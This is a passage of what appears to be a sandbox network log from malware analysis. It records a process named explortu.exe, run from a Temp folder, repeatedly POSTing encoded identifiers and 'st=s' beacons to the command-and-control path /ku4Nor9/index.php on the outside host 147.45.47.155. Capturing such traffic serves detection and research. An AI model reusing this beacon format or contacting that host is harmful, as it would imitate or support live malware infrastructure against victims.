Jun 27, 2024 07:38:19.600203037 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:19.811882019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49766	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:19.924417973 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:20.613004923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:20.613698959 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:20.824635029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49767	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:20.937285900 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:21.607880116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:21.608692884 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:21.817960978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49768	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:21.937298059 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:22.748382092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:22.749198914 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:22.957129002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49769	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:23.077980042 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:23.796581030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:23.797486067 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:24.006814957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49770	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:24.128001928 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:24.823376894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:24.824156046 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:25.036639929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49771	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:25.157759905 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:25.862128973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:25.862920046 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:26.071590900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49772	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:26.187517881 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:26.861005068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:26.861814976 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:27.081276894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49773	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:27.202832937 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:27.887403011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:27.888231993 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:28.101491928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49774	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:28.218568087 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:28.941975117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:28.942672968 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:29.149084091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49775	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:29.268290997 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:29.974884987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:29.975655079 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:30.186273098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49776	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:30.296633959 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:30.967230082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49777	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:30.975733042 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:31.704704046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49778	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:31.815011024 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:32.484143972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49779	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:32.492136002 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
